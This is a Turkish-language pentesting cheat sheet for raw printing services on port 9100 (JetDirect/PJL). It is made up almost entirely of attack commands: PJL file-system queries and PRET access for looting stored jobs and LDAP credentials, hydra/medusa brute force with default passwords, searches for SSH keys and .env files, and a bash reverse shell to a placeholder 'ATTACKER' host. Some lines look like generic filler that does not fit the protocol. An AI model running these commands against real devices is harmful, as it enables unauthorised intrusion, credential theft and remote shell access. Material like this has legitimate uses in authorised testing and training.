Skip to content

9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)

PJL print

Raw print (9100) PJL komutları kabul eder. FSQUERY ve password dump bazı yazıcılarda mümkündür. Hedef lab IP’si üzerinde komutları 9100 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 9100 doğrula.

  2. PJL INFO.

  3. FSDIRLIST / FSUPLOAD.

  4. Adres defteri / config loot.

Terminal window
nmap -Pn -sV -p9100 TARGET
Terminal window
nmap -Pn -p9100 --script pjl-ready-message TARGET
Terminal window
python3 pjl_info.py TARGET
Terminal window
printf '@PJL INFO STATUS\r\n' | nc TARGET 9100
Terminal window
printf '@PJL FSQUERY NAME="0:\\"\r\n' | nc TARGET 9100
Terminal window
python3 pret.py TARGET pjl
Terminal window
pret TARGET pjl # display / get files
address book, LDAP creds, stored jobs
Terminal window
grep -iE 'password|ldap' loot/* | head

Raw Printing (JetDirect, AppSocket, PDL- için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p9100 TARGET
Terminal window
nmap -Pn -p9100 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:9100' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',9100));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Raw Printing (JetDirect, AppSocket, PDL-
Terminal window
hydra -L users.txt -P rockyou.txt -s 9100 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 9100
Terminal window
nmap -p9100 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit PJL
Terminal window
msfconsole -q -x 'search PJL; exit'
Terminal window
nuclei -u https://TARGET:9100 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:9100 -tags tech -silent || true
Terminal window
nc -nv TARGET 9100
Terminal window
printf '
' | timeout 3 nc -nv TARGET 9100
Terminal window
curl -vk --http1.0 http://TARGET:9100/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
PJL INFO → PRET fs → creds from printer